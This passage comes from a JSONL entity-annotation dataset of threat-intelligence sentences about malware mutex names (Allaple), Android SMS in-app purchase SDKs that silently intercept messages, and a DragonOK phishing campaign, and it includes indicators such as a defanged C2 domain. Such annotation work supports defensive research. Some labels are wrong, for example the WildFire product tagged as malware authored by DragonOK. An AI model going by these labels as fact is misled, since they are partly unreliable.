malware worldwide.","entities":[{"id":46564,"label":"SOFTWARE","start_offset":54,"end_offset":78}],"relations":[],"Comments":[]} +{"id":1086,"text":"But before we get into the details, here is a quick overview of mutexes and why they exist in the first place.","entities":[],"relations":[],"Comments":[]} +{"id":1087,"text":" The mutex is the fundamental tool for managing shared resources between multiple threads (or processes).","entities":[],"relations":[],"Comments":[]} +{"id":1088,"text":"If you think of the threads as a whole bunch of people in a meeting, all trying to talk at once, a mutex is the baton that gets passed from one person to the next so that there’s only one person talking at a time.","entities":[],"relations":[],"Comments":[]} +{"id":1089,"text":"The important thing to understand is what the mutex is really protecting.","entities":[],"relations":[],"Comments":[]} +{"id":1090,"text":"In the above example, the resource being protected isn’t the right to speak, as many might think, but rather the ability to listen.","entities":[],"relations":[],"Comments":[]} +{"id":1091,"text":" Here’s a more technical example.","entities":[],"relations":[],"Comments":[]} +{"id":1092,"text":"Lets say you want to update an Internet Explorer (IE) cookie file, adding a unique identifier for use later.","entities":[{"id":44932,"label":"SOFTWARE","start_offset":31,"end_offset":53}],"relations":[],"Comments":[]} +{"id":1093,"text":"Naively, what you need to do is read the cookie file in, add your data to what you’ve read, and write the file back to disk.","entities":[],"relations":[],"Comments":[]} +{"id":1094,"text":"But what if IE is running and also updating that file?","entities":[{"id":46565,"label":"SOFTWARE","start_offset":12,"end_offset":14}],"relations":[],"Comments":[]} +{"id":1095,"text":"The worst case, for you, is that both you and IE read the file at the same time but you write your edits first.","entities":[{"id":46566,"label":"SOFTWARE","start_offset":46,"end_offset":48}],"relations":[],"Comments":[]} +{"id":1096,"text":"This is because IE will completely destroy your edits when it writes its new version of the file over yours.","entities":[{"id":46567,"label":"SOFTWARE","start_offset":16,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1097,"text":" The solution to this problem is to use a mutex to protect the integrity of the cookie file.","entities":[],"relations":[],"Comments":[]} +{"id":1098,"text":"A process that has the mutex knows that while it holds that mutex no other process will be accessing the cookie file.","entities":[],"relations":[],"Comments":[]} +{"id":1099,"text":"It can then read, tweak, and write the file without fear of any clobbering by other processes.","entities":[],"relations":[],"Comments":[]} +{"id":1100,"text":" Since each shared resource can only have a single mutex effectively protecting it, leveraging that mutex is indication that a program will be using said resource.","entities":[],"relations":[],"Comments":[]} +{"id":1101,"text":"In the cookie file example above, just referencing the mutex protecting that file indicates, with extremely high probability, that functionality to change the file exists somewhere in the program.","entities":[],"relations":[],"Comments":[]} +{"id":1102,"text":" Any given mutex, and protected functionality, can then be thought of as an independent library of sorts.","entities":[],"relations":[],"Comments":[]} +{"id":1103,"text":"Note that while the technical implementation may not expose said functionality as a normal library, such exposure is not necessary for the types of analysis performed here.","entities":[],"relations":[],"Comments":[]} +{"id":1104,"text":"That library’s usage can be analyzed in terms of who uses it.","entities":[],"relations":[],"Comments":[]} +{"id":1105,"text":"Simply put: malware writers leverage malware specific libraries and groups of like actors will reuse these core libraries when able. The needle in a haystack problem forever plagues malware research: it’s extremely difficult to find reliable information with malware writers constantly working to undermine or eliminate that information.","entities":[],"relations":[],"Comments":[]} +{"id":1106,"text":"But, in the case of mutex analysis, the useful information pretty well slapped us in the face.","entities":[],"relations":[],"Comments":[]} +{"id":1107,"text":" As can be clearly seen, mutex 2gvwnqjz1 is strongly associated with malware.","entities":[],"relations":[],"Comments":[]} +{"id":1108,"text":"In fact, we have only seen it in malware.","entities":[],"relations":[],"Comments":[]} +{"id":1109,"text":" As is equally obvious, not all mutexes offer such dramatic insight.","entities":[],"relations":[],"Comments":[]} +{"id":1110,"text":"There are many common mutexes shared across both benign software and malware.","entities":[],"relations":[],"Comments":[]} +{"id":1111,"text":"What’s more, they don’t all share millions of uses across both sides of the fence.","entities":[],"relations":[],"Comments":[]} +{"id":1112,"text":" In cases such as these the common approach is to use sets of the data, in this case sets of mutexes, to create fingerprints of each sample and then leverage those fingerprints to extract higher confidence classification decisions.","entities":[],"relations":[],"Comments":[]} +{"id":1113,"text":"While this avenue of research is being pursued, it suffers from all the traditional challenges of big data research.","entities":[],"relations":[],"Comments":[]} +{"id":1114,"text":"In other words, it’s slow going.","entities":[],"relations":[],"Comments":[]} +{"id":1115,"text":" In parallel, and to inform better hypothesis for the fingerprint generation, research is being done to determine how far single mutex analysis can take us.","entities":[],"relations":[],"Comments":[]} +{"id":1116,"text":"The research is ongoing but the initial results are extremely promising.","entities":[],"relations":[],"Comments":[]} +{"id":1117,"text":" The number of times any single mutex is used drops rapidly from the millions of samples down to thousands and from there, even further.","entities":[],"relations":[],"Comments":[]} +{"id":1118,"text":"Tens of thousands of the mutexes have been seen in only a single sample each.","entities":[],"relations":[],"Comments":[]} +{"id":1119,"text":"This results in a few hundred thousand individual mutexes available for further analysis.","entities":[],"relations":[],"Comments":[]} +{"id":1120,"text":" What quickly becomes apparent is that a large majority of the mutexes provide no obvious means to automatically classify them as necessarily indicative of good or bad behavior.","entities":[],"relations":[],"Comments":[]} +{"id":1121,"text":"And, unfortunately, the ones, which are reasonably easy for a human to identify, are so for significantly different reasons.","entities":[],"relations":[],"Comments":[]} +{"id":1122,"text":"For example, “autoproto_*” -- More than 20 mutexes share that preface, offering a natural fingerprint.","entities":[],"relations":[],"Comments":[]} +{"id":1123,"text":" “global\\setup_028746_mutexitem” -- Associated solely with known malware digital signers.","entities":[],"relations":[],"Comments":[]} +{"id":1124,"text":" “defined_setnocandy” -- After reading mutex names for a few hours this just sticks out like a sore thumb.","entities":[{"id":3460,"label":"TIME","start_offset":56,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1125,"text":" Only the first of the examples had the mutex associated with a vast majority of malware samples.","entities":[],"relations":[],"Comments":[]} +{"id":1126,"text":"This implies that any fully automated association of a mutex to either benign or malware samples will itself require complex fingerprinting and confidence models.","entities":[],"relations":[],"Comments":[]} +{"id":1127,"text":" Full automation is always the ideal but it isn’t always necessary.","entities":[],"relations":[],"Comments":[]} +{"id":1128,"text":"With the appropriate tools it’s possible to enable a single researcher to continually review and categorize new mutexes.","entities":[],"relations":[],"Comments":[]} +{"id":1129,"text":"The initial classifications to be used are “benign”, “malware”, or “statistical”.","entities":[],"relations":[],"Comments":[]} +{"id":1130,"text":"Meaning that the mutex either itself indicates a benign or malware sample, or that the mutex alone is not enough to make a determination and the statistical ratio of benign to malware is the best it can offer.","entities":[],"relations":[],"Comments":[]} +{"id":1131,"text":" The backlog of already collected mutexes is too great for a small team of researchers to meaningfully tackle without some kind of ranking system.","entities":[],"relations":[],"Comments":[]} +{"id":1132,"text":"Luckily, the most objective piece of data collected about each mutex, how many samples were classified benign vs. malware, has all the information necessary to ensure that the researchers’ tackle the low hanging fruit first.","entities":[],"relations":[],"Comments":[]} +{"id":1133,"text":" With over hundreds of thousands of malware associations, this specific mutex is associated exclusively with the Net-worm:W32\/Allaple malware family which has been around since 2006 but continues to propagate and reinvent itself through the years.","entities":[{"id":46569,"label":"malware","start_offset":113,"end_offset":133},{"id":46570,"label":"TIME","start_offset":177,"end_offset":181}],"relations":[],"Comments":[]} +{"id":1134,"text":" Though the fact that the malware writer obviously named the mutex by rolling their face on the keyboard made it obvious before we'd done any further analysis that we’d found a unique identifier within the binaries.","entities":[],"relations":[],"Comments":[]} +{"id":1135,"text":" This malware is well documented as a powerful polymorphic worm that encrypts itself differently every time it propagates.","entities":[],"relations":[],"Comments":[]} +{"id":1136,"text":"The evasive nature of this malware family leads to a different file hash, import hash, and only a 20% average SSDeep hash overlap between the samples.","entities":[{"id":46571,"label":"tools","start_offset":110,"end_offset":116}],"relations":[],"Comments":[]} +{"id":1137,"text":"But because the mutex name is set at compile time, the mutex itself offers a common thread between all of the samples we collected and analyzed.","entities":[],"relations":[],"Comments":[]} +{"id":1138,"text":" However, this particular mutex was associated with only a recent subset of the Allaple family.","entities":[{"id":46572,"label":"malware","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]} +{"id":1139,"text":" Unlike many other avenues of research and classification, mutex name based associations provides an almost trivial means of uniquely identifying common code blocks and thereby malware families.","entities":[],"relations":[],"Comments":[]} +{"id":1140,"text":"The first thing our researchers noticed was the similarity between this mutex name and the previous one.","entities":[],"relations":[],"Comments":[]} +{"id":1141,"text":"While programmatic analysis would have a hard time associating the two, it's obvious to a human that the same face rolling technique was used to name this mutex.","entities":[],"relations":[],"Comments":[]} +{"id":1142,"text":"The author simply rolled around a bit more.","entities":[],"relations":[],"Comments":[]} +{"id":1143,"text":" Quick follow up analysis revealed that this mutex was also associated with the Allaple malware family.","entities":[{"id":3512,"label":"malware","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]} +{"id":1144,"text":"More interestingly, it was another, non-overlapping, subset of the Allaple family.","entities":[{"id":3513,"label":"malware","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1145,"text":"Several hypotheses followed directly from this observation.","entities":[],"relations":[],"Comments":[]} +{"id":1146,"text":" Absolute proof for a few of these hypotheses may never be realized.","entities":[],"relations":[],"Comments":[]} +{"id":1147,"text":"However, and lucky for us, the malware author was arrested in 2010 so several of the hypothesis can be verified.","entities":[{"id":46573,"label":"TIME","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]} +{"id":1148,"text":" The first is very likely due to the similarities present in the order of keys hit.","entities":[],"relations":[],"Comments":[]} +{"id":1149,"text":"Both begin with “jhd”.","entities":[],"relations":[],"Comments":[]} +{"id":1150,"text":"“jh” itself is more common than would be expected given that, with fingers on the home row, it requires the right index finger to move and press another key before any other key is struck.","entities":[],"relations":[],"Comments":[]} +{"id":1151,"text":"And “jh” is always followed by a key from the left side of the keyboard.","entities":[],"relations":[],"Comments":[]} +{"id":1152,"text":"These unique consistencies make it extremely improbable that two different people named these mutexes.","entities":[],"relations":[],"Comments":[]} +{"id":1153,"text":" The second mutex appears to be a concerted effort to make the mutex seem “more random” than the first.","entities":[],"relations":[],"Comments":[]} +{"id":1154,"text":"It's immediately obvious that the author didn't move his fingers\/hands much while typing the first.","entities":[],"relations":[],"Comments":[]} +{"id":1155,"text":"It’s obvious enough that the author likely noticed it when reworking this section of code.","entities":[],"relations":[],"Comments":[]} +{"id":1156,"text":"It's highly improbable that one would see the second mutex and make a concerted effort to make it appear “less random”.","entities":[],"relations":[],"Comments":[]} +{"id":1157,"text":"And, as can be quickly verified by searching through standard virus detection logs, the mutexes did in fact appear in the hypothesized order.","entities":[],"relations":[],"Comments":[]} +{"id":1158,"text":" The third is likely due to the lack of overlap between mutex names.","entities":[],"relations":[],"Comments":[]} +{"id":1159,"text":"However, the research necessary to conclusively prove this hypothesis would be very time consuming and provide little other benefit.","entities":[],"relations":[],"Comments":[]} +{"id":1160,"text":" The fourth is likely due to the mutexes only appearing in a single malware family.","entities":[],"relations":[],"Comments":[]} +{"id":1161,"text":"If this functionality were available in some more open source setting, and was of even moderate quality, we would expect to see it used in other malware families as well.","entities":[],"relations":[],"Comments":[]} +{"id":1162,"text":"As this functionality has not migrated outside the Allaple family, either the quality of the code is bad (see: face rolling), or it's simply not available to other malware developers. The fifth is very likely as a change to the specific functionality these mutexes protect, with every change to any functionality, is simply not a practical method of development.","entities":[{"id":46578,"label":"malware","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1163,"text":"And indeed, as with the second hypothesis, standard virus detection logs prove that each of these mutexes do span multiple variants of the worm.","entities":[],"relations":[],"Comments":[]} +{"id":1164,"text":" Mutex names provide a window into the entire development process and timeline for malware.","entities":[],"relations":[],"Comments":[]} +{"id":1165,"text":"Idiosyncrasies of the malware author become apparent, the evolution can be traced, the availability or quality of code deduced, and reuse of functionality made clear with a simple mutex.","entities":[],"relations":[],"Comments":[]} +{"id":1166,"text":"No other currently used method of analysis offers such a personal view into malware development.","entities":[],"relations":[],"Comments":[]} +{"id":1167,"text":" Mutex name analysis as a whole offers a unique look into the results of any sample classification system and the malware therein.","entities":[],"relations":[],"Comments":[]} +{"id":1168,"text":"While the research may never result in a fully automated decision system, it has been proven that researchers employing a hybrid approach to analysis will be able to provide critical and timely information to support the continual improvement of the classification system as a whole.","entities":[],"relations":[],"Comments":[]} +{"id":1169,"text":" From edge case to systematic misclassifications, mutex usage is even more generally the canary in a coal mine than was previously realized. While tedious and time consuming, combing through mutex names did come with more than a few good laughs.","entities":[],"relations":[],"Comments":[]} +{"id":1170,"text":"After nearly as much debate as some of the real research, we’ve whittled the list down to our favorites (For the curious, these are all malware mutexes).","entities":[],"relations":[],"Comments":[]} +{"id":1171,"text":"Enjoy.","entities":[],"relations":[],"Comments":[]} +{"id":1172,"text":"Pluguin - When penguins and wall sockets mate.","entities":[],"relations":[],"Comments":[]} +{"id":1173,"text":"Development environments don’t have spell check but, maybe they should.","entities":[],"relations":[],"Comments":[]} +{"id":1174,"text":" senna spy rock in rio 2001 virus - Subtlety.","entities":[{"id":46580,"label":"malware","start_offset":1,"end_offset":27}],"relations":[],"Comments":[]} +{"id":1175,"text":"Overwhelming.","entities":[],"relations":[],"Comments":[]} +{"id":1176,"text":"There were many variations on this one, Senna’s obviously proud of his work.","entities":[{"id":46581,"label":"identity","start_offset":40,"end_offset":46}],"relations":[],"Comments":[]} +{"id":1177,"text":" chinese-hacker-2 - We’re not sure which is worse: that this is a legitimate signature or a sad frame job.","entities":[],"relations":[],"Comments":[]} +{"id":1178,"text":"Either way, somebody needs their computer privileges revoked.","entities":[],"relations":[],"Comments":[]} +{"id":1179,"text":" mutexpolesskayaglush*.*svchost.comexefile\\shell\\open\\command %1 %*@ - Putting shell code in a mutex name is right on the border of brilliant and insane.","entities":[],"relations":[],"Comments":[]} +{"id":1180,"text":"We’ll leave that determination to the reader.","entities":[],"relations":[],"Comments":[]} +{"id":1181,"text":"mr_coolface - Really, not so much, no.","entities":[],"relations":[],"Comments":[]} +{"id":1182,"text":" don't stop me!","entities":[],"relations":[],"Comments":[]} +{"id":1183,"text":"i need some money!","entities":[],"relations":[],"Comments":[]} +{"id":1184,"text":"- http:\/\/www.monster.com\/ - don’t say we never did anything for you.","entities":[{"id":46582,"label":"URL","start_offset":2,"end_offset":25}],"relations":[],"Comments":[]} +{"id":1185,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1186,"text":"Please mark, I'm not a robot! ","entities":[],"relations":[],"Comments":[]} +{"id":1187,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1188,"text":"In-App Purchase (IAP) has become a popular way to sell services and virtual items through mobile applications.","entities":[],"relations":[],"Comments":[]} +{"id":1189,"text":"In the Android ecosystem, in addition to the official IAP service by Google, there are many third-party IAP Software Development Kits (SDKs) spread around the world.","entities":[{"id":46584,"label":"identity","start_offset":69,"end_offset":75},{"id":46583,"label":"SOFTWARE","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]} +{"id":1190,"text":" Some of these third-party SDKs provide IAP services based on existing online payment platforms.","entities":[],"relations":[],"Comments":[]} +{"id":1191,"text":"However, an increasingly popular method uses premium SMS.","entities":[],"relations":[],"Comments":[]} +{"id":1192,"text":"A primary reason for the popularity of SMS-based IAP is that it does not require Internet connectivity, just cell service.","entities":[],"relations":[],"Comments":[]} +{"id":1193,"text":"While this is more convenient for both users and developers, there are significant security concerns with using SMS-based IAP on Android.","entities":[{"id":46585,"label":"SOFTWARE","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]} +{"id":1194,"text":" These concerns are detailed below.","entities":[],"relations":[],"Comments":[]} +{"id":1195,"text":" Installing an Android app with SMS-based IAP is almost equivalent to installing an “SMS manager” (or even a “contacts manager”) app on the phone.","entities":[{"id":46586,"label":"SOFTWARE","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]} +{"id":1196,"text":"The reason is because most SMS-based IAP SDKs include comprehensive functionalities to monitor, manage, and even intercept a user’s SMS communication silently in the background, without any user interaction or knowledge.","entities":[],"relations":[],"Comments":[]} +{"id":1197,"text":"This is a critical point: these SMS-based IAPs are able to independently send, receive, or block any SMS to\/from any cellphone on which they are installed, without the user having any idea this is occurring.","entities":[],"relations":[],"Comments":[]} +{"id":1198,"text":"This can include receiving instructions from a cloud server under the control of the SDK author.","entities":[],"relations":[],"Comments":[]} +{"id":1199,"text":" Palo Alto Networks Wildfire, through custom SMS blocking policies, recently discovered eight different SMS-based IAP SDKs with this abusive functionality.","entities":[{"id":46588,"label":"SOFTWARE","start_offset":1,"end_offset":28}],"relations":[],"Comments":[]} +{"id":1200,"text":"Further investigation shows that these SDKs have been used in at least 25 different Android games in two third-party app markets, JoloPlay and Wanyx.","entities":[{"id":46589,"label":"SOFTWARE","start_offset":84,"end_offset":91},{"id":46590,"label":"SOFTWARE","start_offset":130,"end_offset":138},{"id":46591,"label":"SOFTWARE","start_offset":143,"end_offset":148}],"relations":[],"Comments":[]} +{"id":1201,"text":"17 of the top 50 games in JoloPlay contain at least one of these IAP SDKs.","entities":[{"id":46592,"label":"SOFTWARE","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1202,"text":"According to JoloPlay’s website, these 17 games have been downloaded and installed more than 1.7 million times.","entities":[{"id":46593,"label":"SOFTWARE","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]} +{"id":1203,"text":"Most of them are pirated or repackaged from famous Android games, such as Plants vs. Zombies 2, Jewels Maze, Fishing Joy, and Where's My Water.","entities":[{"id":46594,"label":"SOFTWARE","start_offset":51,"end_offset":58},{"id":44936,"label":"SOFTWARE","start_offset":74,"end_offset":94},{"id":44937,"label":"SOFTWARE","start_offset":96,"end_offset":107},{"id":44938,"label":"SOFTWARE","start_offset":109,"end_offset":120},{"id":44939,"label":"SOFTWARE","start_offset":126,"end_offset":142}],"relations":[],"Comments":[]} +{"id":1204,"text":"According to Wanyx’s website, 12 of the 50 games in Wanyx’s suggested games column contain the discussed IAP SDKs.","entities":[{"id":46596,"label":"identity","start_offset":13,"end_offset":18},{"id":46597,"label":"identity","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1205,"text":" In Wildfire, we classify apps using these IAP SDKs as Potentially Unwanted Applications (PUA).","entities":[{"id":46599,"label":"SOFTWARE","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} +{"id":1206,"text":"The reason they are not marked as malware is because all SDKs require user interaction when making a purchase (e.g. user clicks on the agreement). However, these IAP SDKs are very dangerous to users because of what they are doing with a user’s SMS without his or her knowledge.","entities":[],"relations":[],"Comments":[]} +{"id":1207,"text":" Below are the details of eight SMS-based IAP SDKs discovered by Wildfire:","entities":[{"id":46600,"label":"SOFTWARE","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]} +{"id":1208,"text":" All of the identified IAP SDKs use premium SMS to provide the IAP service.","entities":[],"relations":[],"Comments":[]} +{"id":1209,"text":"They implement code that will send SMS to pre-defined premium numbers (Figure 1).","entities":[],"relations":[],"Comments":[]} +{"id":1210,"text":"This code implementation is also abstracted in an interface for developers.","entities":[],"relations":[],"Comments":[]} +{"id":1211,"text":" However, in addition to sending, all of these IAP SDKs also implement a BroadcastReceiver and register it for SMS_RECEIVED actions (Figure 2). In addition, Umpay, WiPay, and NgstreamPay will also register a ContentObserver to monitor all changes in an SMS inbox (Figure 3). ","entities":[{"id":46601,"label":"SOFTWARE","start_offset":158,"end_offset":163},{"id":46602,"label":"SOFTWARE","start_offset":165,"end_offset":170},{"id":46603,"label":"SOFTWARE","start_offset":176,"end_offset":188}],"relations":[],"Comments":[]} +{"id":1212,"text":"After an SMS is received, these receivers and observers will check the originating number and\/or message body, and block the SMS by some policies (Figure 3 and Figure 4).","entities":[],"relations":[],"Comments":[]} +{"id":1213,"text":" For example, in Figure 4, the policy is defined as deleting SMS satisfying two conditions at the same time: 1. Message comes from the phone number “+8610658008” or “10658008” 2.","entities":[],"relations":[],"Comments":[]} +{"id":1214,"text":"The message body contains the term “You will use” (translated from Chinese shown in Figure 4).","entities":[],"relations":[],"Comments":[]} +{"id":1215,"text":"Some of these policies are hard-coded in the SDKs, e.g., in UmPay; but others are pre-fetched from cloud servers that are operated by the SDKs’ providers (Figure 5). ","entities":[{"id":46604,"label":"SOFTWARE","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]} +{"id":1216,"text":"Again, all the functions mentioned above run silently in the background.","entities":[],"relations":[],"Comments":[]} +{"id":1217,"text":"Except for LinkSMSPayment, all the IAP SDKs listed in this post do not notify the user in any way that they are taking actions against the user’s daily SMS communication.","entities":[],"relations":[],"Comments":[]} +{"id":1218,"text":"Users have no idea if an SMS was blocked or if it was delivered.","entities":[],"relations":[],"Comments":[]} +{"id":1219,"text":" All of the IAP SDKs in this post target Chinese users.","entities":[],"relations":[],"Comments":[]} +{"id":1220,"text":"Both SMS sending and SMS blocking will only affect Android phones with a valid Chinese mobile phone number.","entities":[{"id":46605,"label":"SOFTWARE","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1221,"text":"Some of them will even check which SIM operator a user is using (Figure 6).","entities":[],"relations":[],"Comments":[]} +{"id":1223,"text":" An interesting observation is that half of these IAP SDKs implement the send and block SMS functions in separate codes.","entities":[],"relations":[],"Comments":[]} +{"id":1224,"text":"More specifically, the code was separated into two parts.","entities":[],"relations":[],"Comments":[]} +{"id":1225,"text":"One piece is embedded into Android apps or games for developers as a part of the source code.","entities":[{"id":46608,"label":"SOFTWARE","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1226,"text":"The other piece is included separately in the assets directory in APK files, and will be invoked by Java reflection in runtime (Figure 7).","entities":[],"relations":[],"Comments":[]} +{"id":1227,"text":"For example, JoloPay, WiPay, TPADPay and EgamePay follow this design exactly.","entities":[{"id":44941,"label":"SOFTWARE","start_offset":13,"end_offset":20},{"id":44942,"label":"SOFTWARE","start_offset":22,"end_offset":27},{"id":44943,"label":"SOFTWARE","start_offset":30,"end_offset":36},{"id":44945,"label":"SOFTWARE","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]} +{"id":1228,"text":"AstepPay implements both sending and blocking in the “assets\/astep.bin” file.","entities":[{"id":46610,"label":"SOFTWARE","start_offset":0,"end_offset":8},{"id":46611,"label":"FILEPATH","start_offset":54,"end_offset":70}],"relations":[],"Comments":[]} +{"id":1229,"text":"This separation of functions may be intended to avoid detection by security products.","entities":[],"relations":[],"Comments":[]} +{"id":1230,"text":" SMS should not be used in payment or authentication for e-finance transactions.","entities":[],"relations":[],"Comments":[]} +{"id":1231,"text":"On the existing Android platforms it is very easy for any installed apps to send, intercept, or even forward SMS messages in background without any user knowledge or interaction.","entities":[{"id":46612,"label":"SOFTWARE","start_offset":16,"end_offset":23}],"relations":[],"Comments":[]} +{"id":1232,"text":"Previous attack cases, such as Zitmo and Cardbuyer, showed the risk of using SMS for payment authentication.","entities":[{"id":46613,"label":"malware","start_offset":31,"end_offset":36},{"id":46614,"label":"malware","start_offset":41,"end_offset":50}],"relations":[],"Comments":[]} +{"id":1233,"text":"For instance: To improve the security of IAP, some payment platforms try to add a verification step in order to confirm an SMS was really sent by the user, for example, it will ask the user to reply with certain text that was sent to a phone number specified by the user.","entities":[],"relations":[],"Comments":[]} +{"id":1234,"text":"However, two months ago, WildFire discovered a new Android malware, Cardbuyer, that circumvents this verification technique.","entities":[{"id":46615,"label":"SOFTWARE","start_offset":25,"end_offset":33},{"id":46616,"label":"SOFTWARE","start_offset":51,"end_offset":58},{"id":46617,"label":"malware","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]} +{"id":1235,"text":"Cardbuyer targets 11 different online payment platforms, as well as stolen prepaid cards, by parsing their verification SMS and automatically replying.","entities":[{"id":46618,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":1236,"text":" The good news is this technique might be partially mitigated in Android KitKat (version 4.4), where Google introduced a security enhancement around SMS security.","entities":[{"id":46619,"label":"identity","start_offset":101,"end_offset":107},{"id":46620,"label":"SOFTWARE","start_offset":65,"end_offset":93}],"relations":[],"Comments":[]} +{"id":1237,"text":"A user can set a system-wide default SMS app as the only app with permission to send and receive SMS.","entities":[],"relations":[],"Comments":[]} +{"id":1238,"text":"However, other installed apps are still allowed to receive SMS and upload the content via Internet.","entities":[],"relations":[],"Comments":[]} +{"id":1239,"text":"But as of June 4, 2014, only 13.6% of worldwide users had installed Android 4.4 or above.","entities":[{"id":44947,"label":"TIME","start_offset":10,"end_offset":22},{"id":44948,"label":"SOFTWARE","start_offset":68,"end_offset":80}],"relations":[],"Comments":[]} +{"id":1240,"text":"This means more than 86% of Android users do not benefit from this enhancement and are vulnerable.","entities":[{"id":46621,"label":"SOFTWARE","start_offset":28,"end_offset":35}],"relations":[],"Comments":[]} +{"id":1241,"text":"However, Palo Alto Networks users are protected from these PUAs by subscribing to WildFire and GlobalProtect services.","entities":[{"id":46624,"label":"SOFTWARE","start_offset":95,"end_offset":108},{"id":46625,"label":"identity","start_offset":9,"end_offset":27},{"id":46622,"label":"SOFTWARE","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]} +{"id":1242,"text":" SMS-based IAP SDKs have become a gray zone that needs close attention.","entities":[],"relations":[],"Comments":[]} +{"id":1243,"text":"Because of convenience and popularity, SMS-based IAP will likely continue to spread and increase in worldwide use.","entities":[],"relations":[],"Comments":[]} +{"id":1244,"text":"However, users need to be protected from PUAs and malware that abuses the SMS-based IAP.","entities":[],"relations":[],"Comments":[]} +{"id":1245,"text":"Also, developers need to be aware that SMS cannot meet security requirements (e.g. authentication) during the payment transactions.","entities":[],"relations":[],"Comments":[]} +{"id":1246,"text":" We would like to thank Kyle Sanders for his contribution to this work.","entities":[{"id":46626,"label":"identity","start_offset":24,"end_offset":36}],"relations":[],"Comments":[]} +{"id":1247,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1248,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1249,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1250,"text":"This post is also available in: 日本語 (Japanese) Palo Alto Networks Unit 42","entities":[{"id":3816,"label":"identity","start_offset":53,"end_offset":71},{"id":3817,"label":"identity","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]} +{"id":1251,"text":"used the AutoFocus threat intelligence service to identify a series of phishing attacks against Japanese organizations.","entities":[{"id":46627,"label":"SOFTWARE","start_offset":9,"end_offset":18},{"id":44949,"label":"identity","start_offset":96,"end_offset":118},{"id":44950,"label":"attack-pattern","start_offset":71,"end_offset":87}],"relations":[],"Comments":[]} +{"id":1252,"text":"Using AutoFocus to quickly search and correlate artifacts across the collective set of WildFire and other Palo Alto Networks threat intelligence, we were able to associate the attacks with the group publicly known as “DragonOK.”","entities":[{"id":3823,"label":"malware","start_offset":87,"end_offset":95},{"id":3826,"label":"threat-actor","start_offset":218,"end_offset":226},{"id":46628,"label":"SOFTWARE","start_offset":6,"end_offset":15},{"id":46629,"label":"identity","start_offset":106,"end_offset":124}],"relations":[{"id":196,"from_id":3826,"to_id":3823,"type":"authored-by"}],"Comments":[]} +{"id":1253,"text":"[1] These attacks took place between January and March of 2015.","entities":[{"id":46630,"label":"TIME","start_offset":37,"end_offset":62}],"relations":[],"Comments":[]} +{"id":1254,"text":" DragonOK has previously targeted Japanese high-tech and manufacturing firms, but we’ve identified a new backdoor malware, named “FormerFirstRAT,” deployed by these attackers.","entities":[{"id":3828,"label":"threat-actor","start_offset":1,"end_offset":9},{"id":3832,"label":"malware","start_offset":130,"end_offset":144},{"id":44952,"label":"identity","start_offset":34,"end_offset":76}],"relations":[{"id":198,"from_id":3832,"to_id":3828,"type":"authored-by"},{"id":197,"from_id":3828,"to_id":44952,"type":"targets"}],"Comments":[]} +{"id":1255,"text":"See the “Malware Details” section for analysis of the three RATs and two additional backdoors deployed in this persistent attack campaign.","entities":[],"relations":[],"Comments":[]} +{"id":1256,"text":" This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge.","entities":[{"id":46631,"label":"attack-pattern","start_offset":38,"end_offset":54},{"id":46632,"label":"malware","start_offset":93,"end_offset":99},{"id":46633,"label":"malware","start_offset":123,"end_offset":134}],"relations":[{"id":199,"from_id":46633,"to_id":46632,"type":"variant-of"}],"Comments":[]} +{"id":1257,"text":"The malware was included as an attachment intended to trick the user into opening the malware.","entities":[{"id":44954,"label":"attack-pattern","start_offset":31,"end_offset":81}],"relations":[],"Comments":[]} +{"id":1258,"text":"This included altering the icon of the executable to appear as other file types (Figure 1) as well as decoy documents to trick users into thinking they had opened a legitimate file.","entities":[],"relations":[],"Comments":[]} +{"id":1259,"text":" Figure 1. Icons used by malicious Sysget attachments.","entities":[{"id":46635,"label":"malware","start_offset":35,"end_offset":41}],"relations":[],"Comments":[]} +{"id":1260,"text":" All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews[.]info.","entities":[{"id":44955,"label":"DOMAIN","start_offset":116,"end_offset":131},{"id":44956,"label":"Infrastucture","start_offset":73,"end_offset":105},{"id":44957,"label":"malware","start_offset":12,"end_offset":24}],"relations":[{"id":42,"from_id":44957,"to_id":44956,"type":"communicates-with"},{"id":201,"from_id":44956,"to_id":44955,"type":"hosts"}],"Comments":[]} +{"id":1261,"text":"Sysget communicates with this server using the HTTP protocol; see the Malware Details section for specifics of the command and control traffic.","entities":[{"id":46636,"label":"malware","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} +{"id":1262,"text":"All five phishing campaigns targeted a Japanese manufacturing firm over the course of two months, but the final campaign also targeted a separate Japanese high-tech 